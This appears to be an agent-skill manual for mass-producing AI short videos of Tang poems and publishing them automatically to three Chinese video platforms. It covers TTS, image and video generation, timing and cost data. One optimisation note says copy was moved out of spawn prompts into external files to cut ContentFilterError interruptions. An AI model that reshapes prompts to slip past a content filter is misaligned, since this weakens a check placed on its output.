tangshi-pipeline
Skill1 starsChanged 36 days agoMITView on GitHub
唐诗300首AI短剧双版本批量生产与发布记录全流程。A读诗版(25-27秒逐句跟读)与B故事版(60-90秒一诗一剧)的TTS提示词规范、场景图提示词、批量合成、astats静默核验、发布节奏与选片权重(数据复盘修正)、三平台发布实录(B站/抖音/视频号)与飞书进度回写。Use when producing Tang poem short dramas, generating a read-aloud or story video for a poem, checking the Tangshi 300 project progress or publish log, selecting poems for EP21+, applying the EP15-20 data review, or syncing the deliverable package to the ZSpace NAS.
In this repository19 other files it gives its agents.
- AGENTS.mdAGENTS.md
- ark-agent-plan-imageSkill
- ark-seedance-videoSkill
- ark-seedream-imageSkill
- bilibili-uploadSkill
- chinese-ttsSkill
- douyin-publishSkill
- dreamina-canvas-cliSkill
- feishu-bitableSkill
- image-to-videoSkill
- media-verifySkill
- multi-platform-publish-orchestratorSkill
- quad-platform-publishSkill
- tangshi-data-reviewSkill
- tencent-uploadSkill
- video-composeSkill
- video-coverSkill
- video-pipelineSkill
- xiaohongshu-skillsSkill
The file
Files
tangshi-pipeline — 唐诗300首AI短剧 双版本生产与发布
✅ 状态:本机实测通过(2026-09-29,EP01 双版本成片+三平台实发、EP02 读诗版、批量脚本泛化、极空间同步 83 文件回读一致)
项目坐标
- 飞书表「开发项目」:base
<飞书多维表格 base app_token>/ table<飞书数据表 table_id>/ 本项目记录<飞书记录 record_id>(项目名「唐诗300首AI短剧」)。读写按 skillfeishu-bitable;更新进度/备注后必须读回验证。 - 交付包:会话工作目录下
tangshi-duanju-w1/,结构见包内README.md。 - 极空间备份:
<NAS 交付目录,如 /sata1/public/公共分组/唐诗300首短剧>(团队空间/公共分组)。WebDAV 断网时用 zspace-cli(见文末同步节)。 - 系列名:《一首诗,一出戏》| 系列圣经与选片标准见
00-样片诗单.md。
资产库(2026-10-03 建成,分镜/生产前先查这里)
| 类型 | 位置 | 用法 |
| 人物 | w1/02-角色资产/(人设卡+全身基准图) | 有人物出镜先查卡;人物镜头优先 i2v 锁首帧 |
| 场景 | w1/03-场景资产/(README 索引 + SC-01~09 场景卡 + ref/ 基准图) | 分镜画面写 场景卡 SC-0x 即引用;生图 = 卡内标准 prompt 块打头 + [主体变化] 插槽替换,只改前段不改风格后缀 |
| 视觉/镜头/文案配方 | w1/04-视觉配方/(style-bible.md / shot-library.md / copy-template.md) | 色板 ID 与构图术语进分镜;运镜与 t2v 动势从 shot-library 选(标「派生待验」的首用需抽检);新集文案从 copy-template 填槽 |
| 读音规则 | skill chinese-tts 内 pinyin_fix.py(40+ 规则) | 配音前 check+pinyin 双跑;新误读必须回写规则表 |
| 复盘方法 | skill tangshi-data-review(六脚本+报告模板) | 每批发布后按其节奏采样与出报告 |
| 外部技法弹药 | w1/tasks/T144/report.md(prompt/一致性/每句一镜)+ references research-cost-t195.md(4折已死回刊例;S镜头480p+本机超分→单集¥4.26→2.92;资源包零折扣勿买;draft=额外计费)+ research-beauty-t196.md(xfade转场/墨滴遮罩/ASS逐字竖排本机实测PASS;mixkit直链BGM;fps三层25/24/30不一致先修) | 导演式 prompt 结构、光五维、调色四件套、每句一镜——见 EP51-60 规划美学包;升级决策先读两份 research |
铁律:全系列风格后缀以 02-角色资产/崔护-人设卡.md 与场景卡内逐字一致的后缀为唯一锚点(写实国风电影感,唐代,柔和自然光,浅景深,胶片质感,9:16竖屏,高细节,无文字水印);prompt 只允许改前段的时段/光线/色板词,后缀永不改。
编排流程图(本 skill = 全流程编排,只做调度与确认门)
Image: 编排流程
- 浏览版 PNG:
references/orchestration-flow.png(1360×1800,源文件orchestration-flow.svg) - 图中左列=编排层(选题→门①报价→配音/素材/成片调度→门②发布确认→4 agent 并行→回写),右列=被调用的原子 skill;素材生产分路线①图片运镜(EP01-10)与路线② Seedance t2v(EP11+),在
video-compose汇合、可按镜头混用 - 发布段(确认门②之后)的细节手册在 skill
quad-platform-publish
双版本规格(已定稿,勿改)
| 版本 | 时长 | 结构 | 关键参数 |
| A 读诗版(读整首诗) | 25-27 秒 | 题卡→四句连读→全诗字卡+尾钩 | 语速=报幕同款自然语速(禁「慢速/朗诵腔」提示词);相邻配音间隔同集统一(2026-10-02 用户指定):题卡→段1、段1→段2、段2→尾钩等所有 gap 取同一值,差 ≤0.1s——排轴 gap=(目标总长−语音总长)/间隔数;design gap 默认 1.5s(EP33 起,EP31-32 曾用 2.4、EP32 用户反馈句间偏长;实测≈design+0.3~0.7 且合成前先做 wav 边缘静音归一头0.05/尾0.25),须留 ≤3.2s 静默余量;总长与静默冲突时调语速不调 gap;禁 EP11 式 5s 固定大槽;竖屏 720×1280 |
| B 故事版(根据诗讲故事) | 60-90 秒 | 前3秒钩子→三幕→点诗→下集钩子 | 最大静默 ≤3.2s(astats 数值核验);配音角色:旁白茉莉/男白桦/少女冰糖;全体配音语速偏快(2026-10-03 用户指定,EP41 起:所有 B 槽 context 统一带「整体语速偏快、节奏紧凑」,fit 循环用 gap 把总长抬回 57-71s) |
- 命名:
EPxxA-<诗题>-读诗版.mp4/EPxx-<诗题>-故事版.mp4(2026-10-03 用户指令:B 版一律用诗题,禁剧名——EP31-40 曾误用剧名已全部改正;「故事版」后缀 2026-10-02 起废止「样片视频」;EP01-30 历史文件不回改);目录0x-EPxx-<诗题>/。平台标题(含 B 版)一律用诗题(2026-10-01 用户指定,EP15 起;本地文件名同步此规则),细则见quad-platform-publish文首规则。 - 发布节奏(2026-10-01 数据复盘定稿,EP21 起执行):
- 每天 1-2 条、间隔 ≥4h、铺满 24 小时窗口(禁几小时内连发十几条——同质内容互抢推荐池,实测会让整体表现一起塌掉)
- 同集 A 先 B 后、间隔 30-60 分钟;A 描述挂 B 合集链接,主动做合集连播;集与集间隔半天到一天
- 首发后 0-24h 是生死线(越过后条均播放按数量级衰减):置顶评论、主页推荐、社群分享、A 引 B 全部塞进首日
- 平台优先级:P0 视频号(主战场,量占三平台近半)→ P1 抖音(保量+补互动,先不投流)→ P2 B站(EP21 起只发 A)(无自然分发,仅留诗名+作者搜索长尾,排最后不复核)
- 互动前置(发布 agent 必做):视频号 A 版置顶「关注追更」评论;抖音 A 版评论区置顶提问(背诗打卡)+ 置顶 B 版链接
- 产能铁律(多轮实测定稿):单日条数越多、次日冷启动越差,超量后哪怕拆成两波也救不回第二波——单平台单日 ≤20 条、单波发完、主波 12:00–15:00、禁 22:00 后晚波(晚波实测全地板);进池判定必须锚定同一龄期窗(固定阈值跨龄期不可比);慢启动条目 30h 后不再补量(30h 是补量硬截止);采样制度:T+6h/T+24h 必采、发布后 1h 内置顶评论;视频号 cookie 约 2-3 天失效(有头扫码 7min 回存)
- 衰减终值(实测):24-48h 单段按数量级衰减、进池组继续衰减到接近地板,48h 后基本地板化 → 24h 动作窗口不变,30h 是补量硬截止(慢启动 24h 补量对普通条目不成立)
- 以上结论来自五轮真实数据复盘(原始数据表与逐轮推理未随本包发布)。本文件只保留提炼后的可执行规则;要复现同样的口径,用 skill
tangshi-data-review的采集脚本对自己的账号重跑。
选片权重与 EP21-30 规划(2026-10-01 数据复盘修正,选新集前必读)
样片诗单五条标准(00-样片诗单.md)按 EP01-20 播放数据重排权重:
| 标准 | 权重 | 依据 |
| ② 画面感强(奇观/边塞/夜景/冲突) | 第一 | 边塞/夜景类的播放比长诗抒情高一个数量级 |
| ④ 名篇自带搜索流量 | 第二,须与②联用 | 强区几乎全是名篇;金缕衣/闺怨也是名篇但画面弱→无效 |
| ① 自带故事结构 | 保持,不加码 | A/B 播放基本打平,故事结构本身未带来播放优势 |
| ③ 题材/诗人多样 | 降为约束条件 | 多样性本身不产生播放,只防同质化 |
| ⑤ 公版原文 | 不变 | — |
- 池子:优先池=边塞/送别/夜景/咏史冲突 且诗人未出场;降级池=劝世/闺怨/纯抒情(EP08-10 弱区),非做不可就排批末;谨慎池=长诗变体每批最多 1 集且 A 版压回 30s(只读名句段)。
- 时长不是变量(长短与播放无明显相关):A 保持 21-30s、B 保持 57-71s,优化位在前 3 秒钩子与发布节奏,不在秒数。
- 视频号描述首行带名句(唯一有量的平台,单独优化搜索权重)。
- 规划文件:第一批
00-样片诗单.md、EP13-2000-EP13-20规划.md、EP21-3000-EP21-30规划.md(选集与状态以该文件为准)。 - 复盘方法(采集脚本、龄期分档口径)见 skill
tangshi-data-review;本包不含原始数据表。
A 读诗版生产流程
- 建目录
0x-EPxx-<诗题>/,分镜由脚本自动生成EPxxA-读诗版-分镜.md。 - TTS 6 条(tts_speech,茉莉,output 存 EP 目录):
voA0-题卡context=诗题报幕,中速偏快,自然流畅,干净利落,不拖音,文本=<诗题>,唐,<作者>。voA1~A4-句Ncontext 必须原文:与节目报幕完全相同的正常语速,像日常自然把这句诗读出来,干净利落,不要朗诵腔,不要拖长尾音,不要字与字之间停顿voA5-尾钩context=节目收尾预告:前半句「一首诗,一出戏」语速偏快、轻快连读一带而过,后半句中速明快亲切,不拖沓,文本=一首诗,一出戏。下集,<下一首>。(末集用关注我,下一首见。;「一首诗一出戏」要快读——2026-10-03 用户指定,EP41 起生效)
- 场景图 5 张/首(image_gen,size
864x1536,quality medium):k0-题卡(诗境全景,也用作 S6 尾镜)+k1~k4逐句画面。风格后缀每条必带:写实国风电影感,唐代,柔和自然光,浅景深,胶片质感,9:16竖屏,高细节,无文字水印;不要把文字画进图。图名清单写进build_read_batch.py的EPS[].images。 - 批量合成:
python build_read_batch.py(包根目录)——自动测 wav 时长→排时间轴(0.8s 句间隔)→写 SRT(连续字幕)+分镜 md→ffmpeg 运镜合成;缺图的 EP 自动 SKIP,配额恢复后重跑即补齐。 - 图片配额 403(subscription_quota_exhausted,周重置):TTS 不受影响,先出音频/SRT/分镜,配额恢复补图重跑。
B 故事版生产流程
- 写
EPxx-分镜脚本.md(镜头表/台词配音清单/剪辑备注),台词覆盖检查:任意 3 秒窗口必须有配音或明确设计的留白。 - TTS 按分镜配音清单逐条出(角色音色见规格表),全部产出后测时长。
- 合成:调用原子 skill
video-compose(manifest JSON = SEQ/AUDIO/total/srt,替代手写 build_epxx.py;本目录旧build_ep*.py仅作历史参考)。zoompan 静态镜头走image-to-video。 - SRT 长句手动断行(每行 ≤14 字);竖屏样式
FontSize=10, MarginV=90(video-compose 内置;2026-10-01 上移防平台 UI 遮挡,参考抖音截图位置;横版 18/20 溢出裁切已踩坑;字卡行数多时按 video-compose SKILL 的行数公式降 MarginV/字号)。 - 合成后验收:
media-verifyastats + brightness(见「质量核验」)。
原子能力分工(2026-09-30 起,本项目只做编排)
| 环节 | 原子 skill |
| 场景图(Plan 通道) | ark-agent-plan-image / image_gen |
| 场景图(标准按量通道) | ark-seedream-image |
| 图片→运镜镜头 | image-to-video |
| t2v 直出镜头 | ark-seedance-video |
| 分镜+配音+SRT→成片 | video-compose |
| TTS 读音校正 + 音色/context | chinese-tts |
| 封面(B站 16:10 + 竖版) | video-cover |
| 音频对位/版本/白屏核验 | media-verify |
| 四平台发布 | quad-platform-publish(内含 4 平台各自 skill) |
生产节奏与编排优化(2026-10-01 EP20 实测复盘 → EP21 起标准时序 ≤25min/集,质量门全保留)
EP20 实测时间线(2026-10-01 CST,产物 mtime + actor spawn/notification 记录还原)——端到端 16:16:50 → 17:16:07 = 59.3min/集,纯生产只占 7.1min(12%),88% 花在发布等待与主线程同步 wait:
生产段(主线程):
| 时段 | 阶段 | 耗时 |
| 16:16:50–16:17:27 | TTS 10 条(A×4+B×6) | 37s |
| 16:18:19–16:20:18 | 场景图 k0–k5 ×6(串行) | 2.0min |
| 16:20:19–16:22:38 | t2v ×1(create→poll→download 串行) | 2.3min |
| 16:22:44–16:23:09 | zoompan 镜头 ×9 | 25s |
| 16:23:25–16:23:36 | manifest + video-compose A/B | 11s |
| 16:23:55–16:23:57 | 抽帧 + 双平台封面 ×4 + astats 核验 | ~30s |
发布段(16:24:10 写 epXX-copy.md → 16:24:27 一次 spawn 3 agent 并行):
| Agent | 起止 | 耗时 | 关键等待 |
| B站 | 16:24:27–16:34:36 | 10.2min | biliup 21566 → 网页回退 |
| 视频号 | 16:24:27–16:35:14 | 10.8min | 发布自动错归修复 |
| 抖音 | 16:24:27–17:11:51 | 47.4min | .dy-profile 与 EP19 agent 争用 12min(16:30–16:42,16:42 克隆解耦)+ B 撞车重跑 2.5min + 封面 60s 传播 ×2 + 延迟审计空转 10.3min(16:54–17:04) |
| 主线程 | wait 最慢 agent → 飞书回写 | 17:11:51→17:16:07 | 4.3min |
上游跨集损失:EP19 抖音 agent 14:20 中途被取消 → 主线程 14:31–16:16 空转 105min 才开 EP20。
根因:① 主线程同步 wait 最慢 agent,后一集生产被阻塞;② 抖音 15min 延迟审计 + 封面 60s 传播落在关键路径;③ 多 agent 共享 .dy-profile/浏览器 profile 互杀;④ 文案内联进 spawn prompt 触发 ContentFilterError 中断(EP19/20 实发,EP20 起改外置文件);⑤ 生产串行 create→poll + 主线程 ~10 次工具 roundtrip。
优化清单(4 层,合计 −30~35min → ≤25min/集)
① 主 agent 编排(−15~20min 关键路径)
- 生产与发布重叠(最高优先):spawn 3 agent 后主线程立即开下一集生产,结果靠 notification 收割,飞书两集一批回写(−5~8min)
- 非关键路径不阻塞:抖音延迟审计、合集复核、终审移出发布 agent,由主 agent 下一集收尾时补跑(−10min)
- 并行度上限 4(3 发布 agent + 1 生产);同平台资源每 agent 一次性预克隆(
.dy-profile-epXX),禁止共享互杀(−12min 争用) - 超时/接管预案:agent 卡 >5min 先 actor send 续命(带
progress.md摘要续写),5min 无响应才 spawn 接续,禁整只重跑;agent 被取消立即接续(防 EP19 式 105min 空窗)
② 每阶段工具化(−3~5min)
- 生产单脚本 runner:pinyin audit→TTS→图→t2v→zoompan→compose→verify→cover 一条命令排队(原子 skill 不变,省主线程
10 次 roundtrip)(−23min) - t2v 全镜头先并发 create 再统一 poll;场景图 6 张并发(−2~3min)
③ 三平台并行 + 文案外置(EP20 已生效,保持不回退)
- 文案先落
epXX-copy.md,spawn prompt 只给路径(lean)→ 降 ContentFilterError(每次中断 −5~15min) - 三平台并行是基线收益:10.8min vs 串行 ~31min(−20min,勿回退成串行)
④ 砍非必要环节(−3~5min)
- 抖音 15min 延迟审计降频至每 3 集一次,或移到下一集收尾(−10min,已计入①)
- 封面 apply 后 60s 等待改为与 B 发布 / mix 并行执行(−1.5min)
- B站 审计→上传→回读→封面字节比对→合集 add→复核合并成一条脚本一次跑(−2~3min);astats/brightness 只在合成后跑一次,不逐镜头
EP21 起标准时序目标(≤25min/集)
| 时点 | 动作 |
| T+0 | 生产单脚本启动(图/t2v 并发) |
| T+5 | 成片+双封面+epXX-copy.md 就绪 → spawn 3 发布 agent;主线程同时开下一集生产 |
| T+5→T+23 | 三平台并行发布(抖音 ≤18min:预克隆 profile、延迟审计移出、封面 60s 等待并行) |
| T+23→T+25 | 收割 3 agent + 合集终验 + 飞书回写(两集一批,可再与下一集重叠) |
超 25min 即触发接管:actor send 续命 → 仍无响应换 spawn + progress.md 接续,不等、不重做已完成步骤。
成本基线与降本(2026-10-01 实测)
- 当前边际成本 ≈ ¥4-5/集(flash 图 6×0.12 + 720p t2v ~7-14s 刊例 ¥3.5-7)
- 480p t2v 实测省 53.5%(5s:50,638 vs 108,900 tokens,¥1.16 vs 2.50 刊例)——B 版 t2v 可切 480p,但 video-compose 会升采样到 720p,先抽检 1 条画质再批量;A 版纯 zoompan 本来 0 视频成本
- 纯路线①的 B 版 = 视频 0 成本(EP01-10 全史实);动作戏才用 t2v
- 方舟资源包/预付折扣值得在控制台看一眼(未验,通常有折)
- 换外部通道(通义万相/可灵/即梦):画风一致性会破 + 重接入成本,除非确认省 ≥40% 否则不切(待验清单,搜索插件恢复后再查价)
路线选择与人物形象一致性(2026-09-30 定稿)
路线选择:默认路线①(省钱、静态意境/题卡够用);强动作/速度感/情绪张力镜头用路线②(t2v 直出或 i2v);同一条成片两条路线可按镜头混用(video-compose 的 manifest 不关心来源)。
一致性铁律(有人物出镜必守):
- 每首有人物的诗先建 人设卡 + 全身基准图(
02-角色资产/,模板见崔护卡;跨集复用同角色必须带基准图控图) - 人物镜头优先 i2v 锁首帧(已实测):seedance
content里放{"type":"image_url","image_url":{"url":"data:...或http..."}}+ text → 首帧=基准图/关键帧,MAD 9.7 实测锁定(见 ark-seedance-video §i2v);纯文生 t2v 只用于无人物空镜 - 两路线共享首帧:路线①定妆关键帧 → 抽帧 → 喂路线② i2v 加动势 = 形象一致 + 运动兼得
- 路线① t2i 不承诺人脸一致:Plan 通道参考图实测
input_images=0(图被忽略)、标准通道 seedream 未开通、即梦图生图需 VIP——所以人物特写禁止靠多次 t2i 重画;同图多镜复用 + prompt 内嵌人设特征词(发型/服装/年龄,从人设卡抄) - i2v 只锁首帧,运动中段可能缓慢漂移 → 发布前 media-verify 抽帧 + 人设特征速检
视频生成方式:Seedance t2v(2026-09-30 EP11 起,成片镜头由「图片运镜」升级为「AI 视频」)
EP01-10 用「场景图 + ffmpeg zoompan」出镜头;EP11 起镜头直接用火山方舟 Seedance 文生视频(t2v),动态感强(跟拍/拉升/横移),build 脚本只做拼接+配音对时+烧字幕(模板 13-EP11-早发白帝城/build_ep11a.py / build_ep11b.py,SEQ 直接列 mp4 分镜)。
- 通道:火山方舟标准 API,key 存
<本地保存 ARK key 的文件>(envARK_STD_KEY,不入 skill/记忆明文) - 创建:
POST https://ark.cn-beijing.volces.com/api/v3/contents/generations/tasks,body:{"model":"doubao-seedance-2-0-mini-260615","content":[{"type":"text","text":<镜头prompt>}],"generate_audio":false,"resolution":"720p","ratio":"9:16","duration":<5-14秒>,"watermark":false} - 轮询:
GET /tasks/{id}→status=succeeded后取content.video_url下载(usage.completion_tokens此时已返回);failed不计费 - prompt 配方:一句镜头动作(推近/跟拍/拉升/横移)+ 画面要素 + 统一风格后缀
,古风写实电影感,竖屏9:16构图,画面无水印;文字不进画面 - 可复用脚本:
%TEMP%\ark_ep11a_vids.py/ark_ep11b_vids.py(批量 CLIPS 列表 + create/wait/download + 跳过已存在 >500KB 的成品,断点重跑安全) - token 实测公式(720p/9:16/mini):
completion_tokens = 21600 × 秒数 + 900;用量与估价查询:GET /tasks/{id}看usage - 成本(2026-09-30 官网刊例):
doubao-seedance-2.0-mini= 23 元/百万 token(≈0.5 元/秒@720p);限时 4 折(企业用户,至 2026-10-07)≈0.2 元/秒。EP11 实账:13 条(A 5 + B 7 + 测试 1)91 秒 = 1,977,300 tokens ≈ ¥45.5 刊例 / ¥18.2 折后 - 同价位带:
2.0-fast37 元/百万(75 折限时)、2.046 元/百万、2.570 元/百万——剧情镜头用 mini 性价比最高 - 更完整的独立用法见 skill
ark-seedance-video(原子生成一条视频)
TTS 读音核查(2026-09-30 用户指定,配音前必做)
- 多音字逐句过一遍:朝=zhāo(朝辞白帝)、还=huán(一日还/还给了)、重=chóng(万重山)、骑=jì(一骑红尘)、教=jiào(悔教夫婿)
- TTS 输入文本用同音字替换(朝→招、还→环、重→虫)保证发音必然正确;字幕/SRT 仍写原字。context 风格指令管不了读音,别指望它纠多音字
- EP11 教训:
朝辞白帝彩云间直接丢给 TTS 念成 cháo,发布前才发现→5 条配音重合成+两条成片重建+已发平台替换。流程入口见 skillquad-platform-publish§发布前读音核查
质量核验(必做)
首选:原子 skill
media-verify(astats分窗能量 /audio-ncc版本比对 /brightness白屏,三条命令覆盖下述全部场景)。以下是底层原始命令备查。
字幕标点规范(2026-10-03 用户指出,EP51 起):A 版 SRT 诗句第二行(双句成段收句)末尾必须加句号(如「不遣胡儿匹马还。」),行内逗号照旧;题卡行(诗题 · 唐 作者)与 B 版台词不加此约束。出片前抽帧 OCR 查句号。EP41-50 已发布版本缺句号不回改(用户裁决 2026-10-03)。
字幕样式定版(2026-10-04 用户选定 EP51A-书法试验2):A 版默认用样式1=华文行楷48+白字+墨褐#2B1D0E描边3px+墨色渐变底条(单层禁叠字);参数与渲染旁路见 w1/04-视觉配方/subtitle-styles.md;样式2(米白赭褐素雅版)为参考资产。B 版暂维持原样式。
TTS 底噪降噪铁律(2026-10-04 用户反馈沙沙声,EP59 起强制):TTS 合成 wav 固有 ~-46dB 底噪,慢语速长段+边缘归一重建会把它拼进近静音区(EP43+ 可闻,真静音占比 40%→21%)→ 每条 wav 归一前必过 afftdn=nr=12:nf=-40,agate=threshold=0.01:ratio=20:attack=2:release=150(实测静音段 -46→-74dB、语音仅损 0.3dB),归一后抽检静音 astats ≤-70dB。EP51-58 存量已批量降噪替换;EP43-50 已发布不回改(除非用户另行指令)。
# 音频对位+静默窗口数值核验(配音段应 -18~-24dB,空档应 -inf)
ffmpeg -ss <s> -t <dur> -i video.mp4 -map a -af astats=metadata=1 -f null - 2>&1 | Select-String "RMS level dB"- Read 工具会返回错图/缓存图(会话级 bug,已两次实锤:同哈希文件两次读出不同图):视觉核验后用
Get-FileHash比对确认是文件问题还是读取问题;下结论前先哈希。 - seek 修正(2026-09-30 实测推翻旧结论):本机 ffmpeg 把
-ss放-i之后会被静默忽略(astats 输出与不 seek 逐位相同)——分窗核验/抽帧定位一律用 input-seek-ss N -i file …;核验前先用已知静默区(片尾无配音处)探针自证 seek 生效,再信读数。
三平台发布(总控手册见 skill quad-platform-publish;当前为三平台模式——小红书自 EP14 风控起按用户指令停发,以下是本项目增量实录)
- B 站:cwd 必须
%USERPROFILE%\.bilibili;--line bda2;本系列分区--tid 228(知识·人文历史),--copyright 1;封面ffmpeg -vf "crop=864:545:0:400,scale=1146:717"从方形关键帧出。已发:EP01-A =BV0000000000。 - 小红书:模板
<你的工作区>\sample-diary-map\publish-xhs.js(persistent profile.xhs-profileheadless)。改 3 处再跑publishnow:TITLE(≤20字)、BODY(分点+emoji+结尾#话题)、note-manager 验证用的indexOf('<标题片段>');VIDEO_PATHenv 传视频。成功判定=笔记管理出现标题行(状态「审核中」)。 - 抖音:模板
dy-publish.js(同目录)。env:DY_HEADED=1、DY_PROFILE=...\.dy-profile、DY_VIDEO。视频路径必须纯 ASCII(.cmd 用 ASCII 编码写会吞中文路径 → 先 Copy-Item 到%TEMP%再传)。登录过期加DY_WAIT_LOGIN=1(开窗扫码,≤12 分钟)。流程:WMIWin32_Process Create起后台(必须ShowWindow=0静默启动,否则 cmd 黑窗闪桌面:Invoke-WmiMethod -ArgumentList @(cmd, $null, $si),$si.ShowWindow=0,细节见 feishu-bitable skill)→ 轮询dy.log至WAITING_USER_CONFIRM→ 写dy-confirm.txt→ 等PUBLISH_SUCCESS(脚本自动勾 AI 声明)。DY_HEADED=1的浏览器窗口是抖音风控必需、无法静默——开窗前告知用户。已发:EP01-A。 - 发布前:标题+可见性给用户确认一次(用户已批量授权时可一条消息覆盖三平台)。
- 发布后写回飞书:备注追加
【三平台发布 <日期>】段(BV/笔记标题/状态),JSON 文件 UTF-8 无 BOM([IO.File]::WriteAllText+UTF8Encoding($false),PS5.1Set-Content -Encoding UTF8带 BOM 会被 lark-cli 拒);进度回读验证。
美学升级包 v1(2026-10-07 新增,EP81 试点)
来源:T195/T196 调研(本 skill references 目录下 research-cost-t195.md 与 research-beauty-t196.md)+ 本机 21/21 实测;资产与测试脚本在
references/beauty-kit/(_test_trans.py / kara.ass / vert.ass)。本节为纯新增,与既有定版(书法字幕样式1、色板、运镜库)叠加使用,不替换任何旧规格。
- 段间转场(零成本):合成时段落间用 ffmpeg
xfade——常规dissolve/wipeleft,仪式感处fadewhite;实测 4/4 PASS。注意转场重叠会吃时长:manifest 排轴时按重叠时长补偿(_test_trans.py有参数样例)。 - 墨滴晕开转场(零成本,特别集用):Pillow 噪声阈值遮罩 →
alphamerge+overlay,本机出片实测 PASS(T196ink_t*.png)。 - 诗句逐字显现(零成本):ASS karaoke
{\k}+SecondaryColour全透明(未显形无描边残留);时间按字数估。kara.ass为验证模板;video-compose 接入≈5 行改动(SRT→ASS 分支),EP81 试点先以「独立 ASS 覆盖渲染」路径跑,不改 video-compose 核心。 - 竖排题卡/印章(零成本):ASS 逐字
\N换行(不用<br>),华文行楷 STXINGKA.TTF 本机已装;vert.ass为模板;用于 A 版题卡特别版或彩水墨特别篇。 - fps 统一 30(零成本,先修再谈补帧):现状 25(zoompan 渲染)/24(compose manifest)/30(平台)三层不一致——zoompan
--fps 30直接重渲即可,compose manifest fps 对齐 30;RIFE 补帧暂缓,Topaz 不值。 - S 镜头降本:480p i2v + 本机超分(RTX 4060):720p i2v 2.50 → 480p 1.16 + RealESRGAN_x4plus 本地超分(免费)→ 单集 ¥4.26→≈¥2.92。先 1 条抽检(逐帧闪烁/细节),通过才批量;animevideov3 偏动漫慎用于写实古风。
- BGM 轻底垫试点(合规路径):音源白名单=mixkit 直链 mp3(Free License)、freesound CC0、incompetech CC-BY;FreePD 已关站勿引用;B 版垫入配方
loudnorm=I=-24:TP=-2:LRA=7两段式 + 低增益,先 1 集给你听感裁决;中国风公版仍缺,未拿到满意音源前维持无 BGM。 - 彩水墨特别篇(片种隔离):实证 prompt 已在 research-beauty-t196.md(「彩色鎏金水墨风格」「朱砂红主调」);只做每批 1 集特别篇,只换风格段+色板两变量,五段骨架/光五维/书法字体锚点全复用;平台标题加「特别篇」标记。
- 成本底线提醒:4 折已于 10-07 14:00 到期回刊例 23 元/M;资源包 t2v 零折扣勿买;draft=额外计费暂缓;普惠季 50 万免费 tokens 可领。
美学升级包 v1 · EP81 试点回填(2026-10-08 七项全 PASS,用户验收通过 → 成为 EP82-90 标准规格)
试点样本:
w1/83-EP81-望天门山/(A 23.10s / B 60.50s,30fps,¥2.92 命中);实施脚本在该目录(_compose2/_bgm_mix/_sr_run/_qc_beauty/_qc_kara_px);SC-11 峡江天门卡已回写。
- 超分定稿:
realesrgan-ncnn-vulkan(GPU Vulkan ~2s/帧)+ realesrgan-x4plus 模型——CPU realesrgan 47s/帧不可行(本机 torch 全 CPU 版);GitHub 直连慢,下载加https://gh-proxy.com/前缀(67MB 约 30s);采纳判据=3 帧时序 MAD ratio <1(试点 0.97 无闪烁);basicsr 1.4.2 与新 torchvision 冲突→functional_tensor改functional。S 镜头链路定稿:i2v 480p → ncnn 超分 → 用作 S 镜头,¥4.26→¥2.92。 - BGM 混音定稿:mixkit《A Decade in Beijing》(Mixkit License 免版税,页面存 EP81
_mixkit_trad.html);两段式 loudnorm 目标 -24.26 LUFS 后 ×0.45 垫入(底垫≈-30.9 LUFS,比语音低 10-15dB);实现_bgm_mix.py可复用。 - 转场/逐字实参:xfade dissolve 重叠 0.5s 排轴补偿(边界 meanL 72-83 无闪缝)、fadewhite 白峰 188→80 受控;karaoke 按语音时长均分字数,验收=白字像素单调升(_qc_kara_px 法);B 点诗 fadewhite 后的字卡段时长要单独排。
- 编码陷阱(必防):视频链末端接
subtitles/ass时必须显式format=yuv420p,否则 libx264 协商 yuv444p High444 平台不认;BGM 混入-c:v copy会原样继承错误格式,compose 侧一并修。 - 工具断言:
_denorm.py无参会 glob 根目录空数组也打 OK → 跑降噪必须 assert 非空;_gen_bar/QC 脚本一律 EP 目录 cwd。
极空间同步(WebDAV 断网时的标准路径)
$py = (Get-Command python).Source # 系统 Python312,已装 zspace-cli
& $py -m zspace_cli.cli check # OK 极空间客户端已连接
& $py -m zspace_cli.cli mkdir "<NAS 交付目录的父目录>" "唐诗300首短剧" # mkdir = PARENT NAME 两参数
& $py -m zspace_cli.cli up <本地文件> "<远端目录>" # 单文件上传,201/OK
& $py -m zspace_cli.cli tree "<NAS 交付目录,如 /sata1/public/公共分组/唐诗300首短剧>" # 回读校验(文件数对齐本地)- 走桌面客户端代理 127.0.0.1:13579,跨网段可用;WebDAV(<NAS 主机>:5005)当前网络不通,勿走(详见全局 MEMORY)。
- 上传循环:按本地相对路径逐文件
up(目录先mkdir),完后tree行数与本地Get-ChildItem -Recurse -File计数比对。
生图通道(2026-09-29 实测定论,选通道先看这张表)
| 通道 | 状态与用法 |
| 火山 Agent Plan 直调(首选,已实测) | POST /api/plan/v3/images/generations,model doubao-seedream-5.0-lite,size "2K"+prompt竖屏→1600×2848,watermark:false,扣 Plan 配额(~17.8k tokens/张)。完整配方见 skill ark-agent-plan-image |
内置 image_gen 工具 | 走应用订阅周额度,撞限报 403 subscription_quota_exhausted,等重置/升级,与任何 API key 无关 |
| 智谱 CogView 直调 | 备用:POST open.bigmodel.cn/api/paas/v4/images/generations,model cogview-3-flash,size 864x1536 实测生效,key 用 mimocode.jsonc 的 open-bigmodel-cn;画风与 image_gen 不一致,混用需先跟用户确认 |
| MiMo API key | ❌ 无生图:models 列表仅聊天/语音,/v1/images/generations 404,v2.6-flash 只吐 SVG 文本 |
| 即梦画布 CLI | 登录✅、模型目录✅,但 canvas create/ls 服务端 vip_membership_required——需即梦 VIP 才能用画布线 |
即梦 CLI(dreamina-canvas)
- 二进制
%USERPROFILE%\bin\dreamina-canvas.exe(v1.0.1),Skill 在.agents\skills\dreamina-canvas-cli(含 authentication/recovery/identity/credits references,生图工作流以该 Skill 为准)。 - 登录:
auth login --format json出 challenge(verificationUri 内嵌授权码,~15 分钟过期),用 WMI 后台跑 + 日志抓链接给用户点;进程死掉授权不会落盘,需重新 challenge(auth status的loggedIn:true才算数)。 - 生图前必查
model list --type image取 canonical model;积分报价≠授权,超 ceiling 停下问用户。
当前进度(以飞书记录为准,此处不重复维护)
- 项目记录:base
<飞书多维表格 base app_token>/ table<飞书数据表 table_id>/<飞书记录 record_id>;进度与逐集发布实录全部在该记录「备注」字段。 - 长期待办:① B 版 BGM(剪映包装)② 抖音账号改垂直定位(简介/头像/置顶,放量前置)③ 视频号 T+24h/48h 复测采样(下轮复盘前置)。
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
